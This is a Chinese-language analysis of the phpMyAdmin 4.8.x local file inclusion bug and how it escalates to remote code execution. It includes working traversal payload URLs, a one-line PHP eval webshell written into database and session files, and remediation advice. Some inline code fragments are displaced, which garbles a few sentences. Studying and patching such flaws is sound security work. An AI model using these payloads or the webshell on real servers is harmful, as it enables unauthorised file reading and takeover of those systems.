0x01 了解本地檔案包含
LFI(本地檔案包含),是指當伺服器開啟allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動态包含檔案,此時如果沒有對檔案來源進行嚴格審查,就會導緻任意檔案讀取或者任意指令執行。
0x02 了解遠端代碼執行
RCE(遠端代碼執行),遠端指令執行漏洞,使用者通過浏覽器送出執行指令,由于伺服器端沒有針對執行函數做過濾,導緻在沒有指定絕對路徑的情況下就執行指令,可能會允許攻擊者通過改變 $PATH 或程式執行環境的其他方面來執行一個惡意構造的代碼。
0x03 漏洞影響版本
- Phpmyadmin Phpmyadmin 4.8.0
- Phpmyadmin Phpmyadmin 4.8.0.1
- Phpmyadmin Phpmyadmin 4.8.1
0x04 了解PHPmyadmin
phpMyAdmin是phpMyAdmin團隊開發的一套免費的、基于Web的MySQL資料庫管理工具。該工具能夠建立和删除資料庫,建立、删除、修改資料庫表,執行SQL腳本指令等。 phpMyAdmin 4.8.2之前的4.8.x版本中存在安全漏洞。攻擊者可利用該漏洞包含(檢視并可能執行)伺服器上的檔案。
0x05 漏洞起因
index.php,61行
這裡的
target
可以直接傳值輸入,我們可以傳入一個本地檔案路徑去讓其包含,就會造成LFI漏洞。
要想成功包含
target
,需要滿足五個條件:
- 非空
- 是字元串
- 不以
開頭index
- 不在黑名單
中target_blacklist
- 符合函數
checkPageValidity
的驗證
接下來跟進
checkPageValidity
函數
phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行
可以看到,要想使該函數傳回
,包含的檔案必須包含在白名單true
$whitelist
中,
下面是白名單
$whitelist
的内容:
phpMyAdmin-4.8.1-english\libraries\classes\Core.php,31行
是以隻要包含其中之一即可。
第一個傳回
的地方,true
參數未做任何修飾,直接驗證是否在白名單page
中,無法利用 第二個傳回whitelist
的地方, 函數mb_substr說明 函數mb_strpos說明 即判斷true
後面的字元串是否滿足白名單,那麼我們是否可以利用跨路徑來包含檔案呢?比如?
,(這裡的xxx.php?/../../../
當然指的就是上面提到的白名單xxx.php
的内容),回答是不能的,因為在PHP中會把$whitelist
後面的内容作為檔案?
xxx.php
中的參數,是以不能繞過。
第三個傳回
的地方, 與第二處的差別就是多了true
urldecode
函數,問題就出在這裡了。
上面提到的導緻不能繞過白名單的原因就是
的緣故,是以這裡用url全編碼方式對?
?
進行編碼就可以繞過。
payload:
http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?target=db_datadict.php%25%33%66/../../../../../../../../../windows/system.ini
就變成include $_REQUEST[‘target’];
include ‘export.php%3f/../../../../../../../../../windows/system.ini'
0x06 利用方式
0x01 利用資料庫建立shell
測試發現,如果把WebShell當做資料表的字段值是可以完美的寫入到資料庫檔案當中的。
登入phpmyadmin,在test資料庫建立一個資料表,字段為一句話木馬:
<?php @eval($_GET['s']);?>
儲存。
查詢生成檔案的絕對路徑
show variables like '%datadir%';
檢視生成的
.frm
檔案,shell已經成功寫入
利用本地檔案包含去包含
/bin/mysql/data/test/shell.frm
檔案即可RCE。
payload:
http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../bin/mysql/mysql5.7.21/data/test/shell.frm
s
為一句話木馬的連接配接密碼,
可以看到,RCE已經成功。
0x02 利用session檔案建立shell
執行sql語句,檢視session
生成的session檔案
執行payload:
http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../tmp/sess_bv6e61104hvbsbkebdoikk3ke0c0er5k
,成功執行
0x07 修複建議
- 更新版本;
-
函數傳回checkPageValidity
index.php,59 phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行false
0x08 參考文章
- https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
- http://www.hetianlab.com/expc.do?ce=d223c7ad-cb9a-461d-bf5c-9ebd4a2f7614